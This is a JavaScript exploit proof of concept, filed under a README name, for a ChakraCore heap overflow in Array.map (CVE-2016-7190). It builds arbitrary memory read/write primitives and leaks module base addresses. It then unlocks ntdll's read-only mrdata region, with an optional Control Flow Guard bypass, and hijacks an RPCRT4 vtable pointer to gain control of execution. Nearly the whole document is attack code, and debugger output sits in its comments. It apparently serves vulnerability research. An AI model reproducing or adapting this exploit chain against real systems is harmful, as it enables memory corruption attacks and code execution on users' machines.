README.md
Rendering markdown...
function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = a.toString(16);
if (ret.substr(0,2) != "0x") return "0x"+ret;
else return ret;
}
// based on Long.js by dcodeIO
// https://github.com/dcodeIO/Long.js
// License Apache 2
class _u64 {
constructor(hi, lo) {
this.lo_ = lo;
this.hi_ = hi;
}
hex() {
var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
hlo = "00000000" + hlo
hlo = hlo.substr(hlo.length-8, hlo.length);
return "0x" + hhi + hlo;
}
isZero() {
return this.hi_ == 0 && this.lo_ == 0;
}
equals(val) {
return this.hi_ == val.hi_ && this.lo_ == val.lo_;
}
and(val) {
return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
}
add(val) {
var a48 = this.hi_ >>> 16;
var a32 = this.hi_ & 0xFFFF;
var a16 = this.lo_ >>> 16;
var a00 = this.lo_ & 0xFFFF;
var b48 = val.hi_ >>> 16;
var b32 = val.hi_ & 0xFFFF;
var b16 = val.lo_ >>> 16;
var b00 = val.lo_ & 0xFFFF;
var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
c00 += a00 + b00;
c16 += c00 >>> 16;
c00 &= 0xFFFF;
c16 += a16 + b16;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c32 += a32 + b32;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c48 += a48 + b48;
c48 &= 0xFFFF;
return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
}
addi(h,l) {
return this.add(new _u64(h,l));
}
subi(h,l) {
return this.sub(new _u64(h,l));
}
not() {
return new _u64(~this.hi_, ~this.lo_)
}
neg() {
return this.not().add(new _u64(0,1));
}
sub(val) {
return this.add(val.neg());
};
swap32(val) {
return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
}
bswap() {
var lo = swap32(this.lo_);
var hi = swap32(this.hi_);
return new _u64(lo, hi);
};
}
var u64 = function(hi, lo) { return new _u64(hi,lo) };
function main2() {
var n = [];
for (var i = 0; i < 0x10; i++) {
// nice pattern for easy checking with debugger
n.push([i*0x10000 | 1, i*0x10000 | 2, i*0x10000 | 3, i*0x10000 | 4,
i*0x10000 | 5, i*0x10000 | 6, i*0x10000 | 7, i*0x10000 | 8,
i*0x10000 | 9, i*0x10000 | 0x10, i*0x10000 | 0x11, i*0x10000 | 0x12,
i*0x10000 | 0x13, i*0x10000 | 0x14, i*0x10000 | 0x15, i*0x10000 | 0x16,
i*0x10000 | 0x17, i*0x10000 | 0x18, i*0x10000 | 0x19, i*0x10000 | 0x20,
i*0x10000 | 0x21, i*0x10000 | 0x22, i*0x10000 | 0x23]);
}
var c = [new Uint8Array(0x100000), new Uint8Array(0x20), new Uint8Array(0x20),
new Uint8Array(0x20), new Uint8Array(0x20), new Uint8Array(0x20)];
n.push(c);
class fake extends Object {
static get [Symbol.species]() { return function() { return n[5]; }; };
}
var handler = {
get: function(target, name){
if(name == "length"){
return 0x200;
}
if(name == "constructor")
return fake;
if(name == 0) { // leak base addr of NativeIntArray n[6]
return n[6];
}
if(name == 1) { // leak base addr Uint8Array 0x100000
return n[0x10][0];
}
if(name == 17) { // overwrite n[6] JavascriptArray.length
return 0x7FFFFFFF;
}
if(name == 21) { // overwrite len of n[6] SparseArraySegment.length
return 0x7f00000000;
}
if(name == 22) { // overwrite length of n[6] SparseArraySegment.size
return 0x7FFFFFFF;
}
return 0; // never executed
},
// by only returning for some elements true we avoid linear buffer overflow
// -> overwrite only specifc values
has: function(target, name){
//print("has " + name);
if(name == 0 || name == 1 || name == 17 || name == 21|| name == 22) {
return true;
}
return false;
}
};
var y = new Proxy([], handler);
// ----------------------------------------------------------------------------
// Exploit heap overflow to gain arbitrary read/write
//
// - Used vulnerability in Array.map (CVE-2016-7190)
// - More info and PoC:
// - https://technet.microsoft.com/library/security/ms16-119
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=923
// ----------------------------------------------------------------------------
// trigger overflow
var o = Array.prototype.map.apply(y, [function(a){ return a; }]);
print(hex(n[6].length));
w32_rel = function(offset, val) {
n[6][(offset - 0x18)/4] = val;
}
r32_rel = function(offset) {
return n[6][(offset - 0x18)/4];
}
// by overwriting
// - JavascriptArray.length
// - SparseArraySegment.length
// - SparseArraySegment.size
// we can use the native JS array for oob access
// DEBUG
// print(hex(n[5][1]) + " " + hex(n[5][0]));
// print(hex(n[5][3]) + " " + hex(n[5][2]));
var uint8_base_addr = u64(n[5][3], n[5][2]);
var uint8_base_offset = n[5][2]- (n[5][0] + 0x40);
print("[+] Uint8Array addr: " + hex(uint8_base_addr.hex()));
// print("Uint8Array offset>> : " + hex(uint8_base_offset));
// print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20)));
w32_rel(uint8_base_offset +0x20, 0x4141);
// print("n[0x10][0].length " + n[0x10][0].length);
// print("Uint8Array length>> " + hex(r32_rel(uint8_base_offset +0x20)));
// get non clamped vtable
var vtable_low_addr = r32_rel(uint8_base_offset +0x40);
w32_rel(uint8_base_offset, vtable_low_addr);
//print("Uint8Array length2>> " + hex(r32_rel(uint8_base_offset +0x28)));
//print("Uint8Array length3>> " + hex(r32_rel(uint8_base_offset +0x2C)));
var uint8_buf_addr = u64(r32_rel(uint8_base_offset + 0x3C), r32_rel(uint8_base_offset + 0x38))
print("[+] Uint8Array buf addr: " + uint8_buf_addr.hex());
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Define functions that read/write various data widths from/to memory
//
// ----------------------------------------------------------------------------
// define functions to read and write arbitrary memory
var set_buffer_addr = function(u64_addr) {
w32_rel(uint8_base_offset +0x38, u64_addr.lo_);
w32_rel(uint8_base_offset +0x3C, u64_addr.hi_);
}
var r8 = function(u64_addr) {
set_buffer_addr(u64_addr);
return n[0x10][0][0];
};
var r16 = function(u64_addr) {
set_buffer_addr(u64_addr);
return n[0x10][0][1] << 8 | n[0x10][0][0];
};
var r32 = function(u64_addr) {
set_buffer_addr(u64_addr);
return n[0x10][0][3] << 24 | n[0x10][0][2] << 16 |
n[0x10][0][1] << 8 | n[0x10][0][0];
};
var r64 = function(u64_addr) {
set_buffer_addr(u64_addr);
return u64(n[0x10][0][7] << 24 | n[0x10][0][6] << 16 |
n[0x10][0][5] << 8 | n[0x10][0][4] << 32,
n[0x10][0][3] << 24 | n[0x10][0][2] << 16 |
n[0x10][0][1] << 8 | n[0x10][0][0]);
};
var w8 = function(u64_addr, u8_val) {
set_buffer_addr(u64_addr);
n[0x10][0][0] = u8_val & 0xFF;
}
var w32 = function(u64_addr, u32_val) {
set_buffer_addr(u64_addr);
n[0x10][0][0] = (u32_val >> 0) & 0xFF;
n[0x10][0][1] = (u32_val >> 8) & 0xFF;
n[0x10][0][2] = (u32_val >> 16) & 0xFF;
n[0x10][0][3] = (u32_val >> 24) & 0xFF;
}
var w64 = function(u64_addr, u64_val) {
set_buffer_addr(u64_addr);
n[0x10][0][0] = (u64_val.lo_ >> 0) & 0xFF;
n[0x10][0][1] = (u64_val.lo_ >> 8) & 0xFF;
n[0x10][0][2] = (u64_val.lo_ >> 16) & 0xFF;
n[0x10][0][3] = (u64_val.lo_ >> 24) & 0xFF;
n[0x10][0][4] = (u64_val.hi_ >> 0) & 0xFF;
n[0x10][0][5] = (u64_val.hi_ >> 8) & 0xFF;
n[0x10][0][6] = (u64_val.hi_ >> 16) & 0xFF;
n[0x10][0][7] = (u64_val.hi_ >> 24) & 0xFF;
}
// These offset highly depend on the version of Chakra(Core)/Windows
uint8_vtable_addr = r64(uint8_base_addr);
print("[+] uint8Array vtable: " + uint8_vtable_addr.hex());
uint8_vtable_addr = r64(uint8_base_addr);
var chakra_base_addr = r64(uint8_base_addr).subi(0,0x5726f0); // read vtable function
print("[+] ChakraCore base addr: " + chakra_base_addr.hex());
var ntdll_base_addr = r64(chakra_base_addr.addi(0, 0x0649a18)); // ChakraCore!NtdllLibraryObject.baseclass_0.m_hModule
print("[+] ntdll base addr: " + ntdll_base_addr.hex());
var RtlpDynamicFunctionTableLock = ntdll_base_addr.addi(0,0x152170); // ntdll!RtlpDynamicFunctionTableLock
print("[+] RtlpDynamicFunctionTableLock addr: " + RtlpDynamicFunctionTableLock.hex());
var LdrpMrdataLock = ntdll_base_addr.addi(0,0x151FD0); // ntdll!LdrpMrdataLock
print("[+] LdrpMrdataLock addr: " + LdrpMrdataLock.hex());
var pLdrpMrdataBase = ntdll_base_addr.addi(0,0x164250);
var LdrpMrdataBase = r64(ntdll_base_addr.addi(0,0x164250)); // ntdll!LdrpMrdataBase
print("[+] LdrpMrdataBase: " + LdrpMrdataBase.hex());
var LdrpMrdataSize = ntdll_base_addr.addi(0,0x164240); // ntdll!LdrpMrdataSize
print("[+] LdrpMrdataSize addr: " + LdrpMrdataSize.hex());
var SRWLockSpinCount = ntdll_base_addr.addi(0,0x151c28); // ntdll!SRWLockSpinCount
print("[+] SRWLockSpinCount addr: " + SRWLockSpinCount.hex());
// increase waiting time
w32(SRWLockSpinCount, 0xFFFFFFFF);
// aquire lock
w64(RtlpDynamicFunctionTableLock, u64(0,0xF));
// mark writable
while(1) {
// check when background processor tries to
// aquire the lock
var x = r64(RtlpDynamicFunctionTableLock);
if(x.lo_ != 0xF) {
// overwrite LdrpMrdataBase with an address
// that is ok to be read only (first page of
// chakra)
w64(pLdrpMrdataBase, chakra_base_addr);
// change size to 1 page
w64(LdrpMrdataSize, u64(0,0x1000-1));
// release lock
w64(RtlpDynamicFunctionTableLock, u64(0,0x0));
w32(x.subi(0,0x2f).addi(0,0x44), 0);
print("[+] done");
break;
}
}
var mark_writable = function(u64_addr, len) {
w64(pLdrpMrdataBase, u64_addr);
//print("new base: " + r64(pLdrpMrdataBase).hex())
w64(LdrpMrdataSize, u64(0,len-1));
w64(RtlpDynamicFunctionTableLock, u64(0,0xF));
while(1) {
var x = r64(RtlpDynamicFunctionTableLock);
//print(x.hex());
if(x.lo_ != 0xF) {
w64(LdrpMrdataSize, u64(0,0x1000-1));
w64(pLdrpMrdataBase, chakra_base_addr);
w64(RtlpDynamicFunctionTableLock, u64(0,0x0));
w32(x.subi(0,0x2f).addi(0,0x44), 0);
print("[+] re-mapped " + u64_addr.hex())
break;
}
}
}
//
// How to use the mrdata unlock primitive to bypass CFG
//
// Since we didn't get ChakraCore compiled to use CFG...
// here a slighty more complicated example that requires
// us to first manipulate a read-only vtable of RPCRT4
// remote codegen will trigger a call that is verified by
// CFGuard
//
// ntdll!LdrpDispatchUserCallTarget
// RPCRT4!LRPC_BASE_CCALL::GetBuffer+0x18e
// RPCRT4!NdrpClientCall3+0xf44
// RPCRT4!NdrClientCall3+0xf2
// chakracore!ClientRemoteCodeGen+0x26
// chakracore!JITManager::RemoteCodeGenCall+0x2a
// chakracore!NativeCodeGenerator::CodeGen+0x86
//
// set following variable to 'true' to bypass CFGuard
// by overwriting the
// RPCRT4!_guard_dispatch_icall_fptr pointer with
// RPCRT4!guard_dispatch_icall_nop
//
var bypass_cfguard = false;
if(bypass_cfguard) {
mark_writable(rpcrt4_base_addr.addi(0,0xec4a8), 8);
w64(rpcrt4_base_addr.addi(0,0xec4a8), rpcrt4_base_addr.addi(0,0x78470));
}
// to hijack this call we first make the vtable writable
// RPCRT4!LRPC_FAST_CCALL::`vftable'
// then overwrite it with arbitary code pointer
var rpcrt4_base_addr = r64(chakra_base_addr.addi(0,0x4e0538)).subi(0,0xd1c20); // chakracore!_imp_NdrServerCallNdr64
print("[+] RPCRT4 base addr: " + rpcrt4_base_addr.hex());
var fast_ccall_vtable = rpcrt4_base_addr.addi(0,0xe1328)
mark_writable(fast_ccall_vtable.addi(0,0x120), 8);
w64(fast_ccall_vtable.addi(0,0x120), u64(0x41,0x41414141));
var do_jit = function() {
var jit_me = function(arg) {
return arg+1;
}
for (var i = 0; i < 1000000;) {
i = jit_me(i);
}
return i;
}
//
// trigger aboves vtable call by triggering remote codegen
// if (bypass_cfguard == false) faults at
// ntdll!LdrpDispatchUserCallTarget+0xe:
// mov r11,qword ptr [r11+r10*8] ds:00007df7`04770500=????????????????
// 0:005> r rax
// rax=0000004141414141
//
// if(bypass_cfguard == true) faults at
// First chance exceptions are reported before any exception handling.
// This exception may be expected and handled.
// 00000041`41414141 ?? ???
//
print(do_jit());
// shouldn't be reached
return 0;
}
print(main2());